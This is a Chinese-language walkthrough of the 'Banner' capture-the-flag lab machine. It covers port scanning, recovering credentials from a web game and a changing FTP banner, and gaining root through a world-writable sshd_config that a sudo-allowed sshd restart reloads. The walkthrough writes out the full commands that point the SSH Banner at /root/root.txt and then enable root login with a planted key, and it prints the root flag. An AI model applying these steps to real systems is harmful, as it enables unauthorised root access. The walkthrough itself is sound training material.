

靶机: Banner

作者: 12138 (QQ: 2168909976)

靶机ID: 616

系统: Linux

难度: Baby

靶机ip为192.168.56.116

```
Debian GNU/Linux 10 Banner tty1
=====-- Made By --=====
          \
         / \
        /   \
       /     \
      /       \
     /         \
    /           \
   /             \
  /               \
 /                 \
/                   \
\                   /
 \                 /
  \               /
   \             /
    \           /
     \         /
      \       /
       \     /
        \   /
         \ /
          \

Our-site   : maze-sec.com
QQ Group   : 660930334
IP Address : 192.168.56.116
=====-- Happy Hacking!! --=====
Banner login:
```

漏洞遍历

端口扫描

```
nmap -A -sV -T4 -p- 192.168.56.116
```

```
└─(root@kali)-[~/111]
```

```
└─# nmap -A -sV -T4 -p- 192.168.56.116
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 01:14 EDT
```

```
Nmap scan report for 192.168.56.116 (192.168.56.116)
Host is up (0.00068s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol
2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb
(ED25519)
8080/tcp  open  http     Werkzeug httpd 3.1.6 (Python 3.9.2)
|_ http-title:
\xE7\xBD\x91\xE7\xBB\x9C\xE5\xAE\x89\xE5\x85\xA8\xE7\x9F\xA5\xE
8\xAF\x86\xE6\x8C\x91\xE6\x88\x98
|_ http-server-header: Werkzeug/3.1.6 Python/3.9.2
MAC Address: 08:00:27:DE:79:D9 (PCS Systemtechnik/Oracle
VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4),
MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ftp没有匿名访问，看看80端口
有个安全挑战，需要达到1000分

192.168.56.116:8080 显示

🎉 恭喜你! 分数达到 1000 分!

这是你需要的信息: 111:banner

确定

```
111@192.168.56.116's password:
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr  9 01:38:15 2026 from 192.168.56.102
This account is currently not available.
Connection to 192.168.56.116 closed.
```

直接ssh失败，应该是ssh缺少交互式shell，/etc/passwd大概长这样

```
111:x:1001:1001::/home/111:/usr/sbin/nologin
```

看看ftp，只有一个hint文件，下载后查看

```
└─(root@kali)-[~/111]
```

```
└─# cat hint
```

你知道什么是banner吗？

banner就是连接的横幅部分

查看后发现我们要仔细观察变化的部分

```

Connected to 192.168.56.116.
220-Snakes                      Eat                      Crickets
220-      / _ )`.
220-      / _ )^ )`. .----.
220-    ( _ , ' \ ^-) "' ' \ \
220-      | |      | | \
220-      | |      | | |
220-      / \ /-----' \ ( \ (
220-    < , " | |      \ \ \ \
220-      \ \ \ \ (      ) ) ) )
220-      | | \      | | / /
220-      | | \      | | -'
220-      |      |
220-      |      |
220-
220-Carefully observe the changes in the information above.
220

```

多次尝试后发现只有上面的文字会随时间变化，而且首字母大写
看到有个：能猜到是凭证

```
e:m aze sec wel com
```

试出来凭证

```
welcome:mazesec
```

在/home/user.txt目录下拿到flag

root提权

查看sudo -l

```
welcome@Banner:~$ sudo -l
Matching Defaults entries for welcome on Banner:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Banner:
    (root) NOPASSWD: /sbin/service sshd restart
```

发现能重启ssh服务

查看相关进程 `ps aux | grep root`

```
root 350 0.0 0.1 6740 2940 ? Ss 01:14 0:00 /bin/bash
/usr/local/bin/sshd_config_monitor.sh
root 368 0.0 0.0 2512 716 ? S 01:14 0:00 inotifywait -m -e
close_write /etc/ssh/sshd_config
```

可以看到

- root 在跑自定义脚本 `/usr/local/bin/sshd_config_monitor.sh`
- root 还在用 `inotifywait` 盯 `/etc/ssh/sshd_config`

```
welcome@Banner:~$ ls -la /etc/ssh/sshd_config
-rw-rw-rw- 1 root root 3275 Mar 18 04:22 /etc/ssh/sshd_config
welcome@Banner:~$ ls -la /usr/local/bin/sshd_config_monitor.sh
-rwxr-xr-x 1 root root 1926 Mar 19 10:23
/usr/local/bin/sshd_config_monitor.sh
```

查看后发现 `/etc/ssh/sshd_config` 可写

```
#!/bin/bash
# 监控 /etc/ssh/sshd_config 文件修改，保持原权限

CONFIG_FILE="/etc/ssh/sshd_config"
TEMP_FILE="/tmp/sshd_config_temp_$$"
LOCK_FILE="/tmp/sshd_monitor.lock"

# 清理函数
cleanup() {
    rm -f "$TEMP_FILE" "$LOCK_FILE" 2>/dev/null
}

# 设置陷阱，确保脚本退出时清理临时文件
trap cleanup EXIT INT TERM

# 使用 inotifywait 监控文件修改事件
inotifywait -m -e close_write "$CONFIG_FILE" |
while read -r directory event filename; do
    # 避免并发处理
    if [ -f "$LOCK_FILE" ]; then
        echo "[$(date '+%Y-%m-%d %H:%M:%S')] 另一个处理正在进行，跳过"
        continue
    fi

    touch "$LOCK_FILE"

    echo "[$(date '+%Y-%m-%d %H:%M:%S')] 检测到 $CONFIG_FILE 被修改"

    # 保存原始权限和所有者
    ORIG_PERM=$(stat -c "%a" "$CONFIG_FILE")
    ORIG_OWNER=$(stat -c "%u" "$CONFIG_FILE")
    ORIG_GROUP=$(stat -c "%g" "$CONFIG_FILE")
```

```

# 删除所有 Banner 相关行（不区分大小写）
grep -v -i "banner" "$CONFIG_FILE" > "$TEMP_FILE"

# 检查是否有变化
if ! cmp -s "$CONFIG_FILE" "$TEMP_FILE"; then
    # 备份原文件
    BACKUP_FILE="${CONFIG_FILE}.backup.${date
+%Y%m%d_%H%M%S}"
    cp -p "$CONFIG_FILE" "$BACKUP_FILE"

    # 替换原文件内容但保持原权限
    cat "$TEMP_FILE" > "$CONFIG_FILE"

    # 恢复原始权限和所有者
    chown "${ORIG_OWNER}:${ORIG_GROUP}" "$CONFIG_FILE"
2>/dev/null
    chmod "$ORIG_PERM" "$CONFIG_FILE" 2>/dev/null

    echo "[$(date '+%Y-%m-%d %H:%M:%S')]" 已移除所有 Banner 配
置行，权限保持为 $ORIG_PERM"

    # 可选：重启 sshd 使更改生效
    # systemctl restart sshd
else
    echo "[$(date '+%Y-%m-%d %H:%M:%S')]" 文件无 Banner 配置，
无需修改"
fi

# 清理临时文件
rm -f "$LOCK_FILE" "$TEMP_FILE"
done

```

不过 inotifywait 监控 /etc/ssh/sshd_config，读取/usr/local/bin/sshd_config_monitor.sh发现一旦有人改/etc/ssh/sshd_config，就把所有包含 banner 的行删掉

但我们还是可以用banner来回显flag

已知flag在/root/root.txt下

可以使用文件包含来显示banner

```
cat >/tmp/b.conf <<'EOF'
Banner /root/root.txt
EOF

grep -qF 'Include /tmp/b.conf' /etc/ssh/sshd_config || printf
'\nInclude /tmp/b.conf\n' >> /etc/ssh/sshd_config

sudo /sbin/service sshd restart
```

然后重新ssh即可看到flag

```
(root@kali)-[~]
# ssh 111@192.168.56.116
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
flag{root-fc7fb423367bb7fccb411758f06f857a}
```

当然还是需要root提权的

生成ssh后指定root登录时的私钥进行连接

```
mkdir -p ~/.ssh
chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f /tmp/rootkey -N ''
cp /tmp/rootkey.pub ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

#复制sshd_config到新文件
#允许 root 账号通过 SSH 登录
sed 's/^PermitRootLogin no$/PermitRootLogin yes/'
/etc/ssh/sshd_config > /tmp/sshd_config.new
```

```
cat >> /tmp/sshd_config.new <<'EOF'
PubkeyAuthentication yes #开启公钥认证
StrictModes no #关闭 OpenSSH 对密钥文件属主/权限的严格检查
AuthorizedKeysFile /home/welcome/.ssh/authorized_keys #root登录
时读取可控authorized_keys
EOF
```

```
cat /tmp/sshd_config.new > /etc/ssh/sshd_config
```

```
sudo /sbin/service sshd restart
```

```
ssh -i /tmp/rootkey -o StrictHostKeyChecking=no root@127.0.0.1
```

```
welcome@Banner:~$ ssh -i /tmp/rootkey -o StrictHostKeyChecking=no root@127.0.0.1
flag{root-fc7fb423367bb7fccb411758f06f857a}
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 18 04:15:30 2026 from 192.168.137.102
root@Banner:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Banner:~# cat /root/root.txt
flag{root-fc7fb423367bb7fccb411758f06f857a}
root@Banner:~# |
```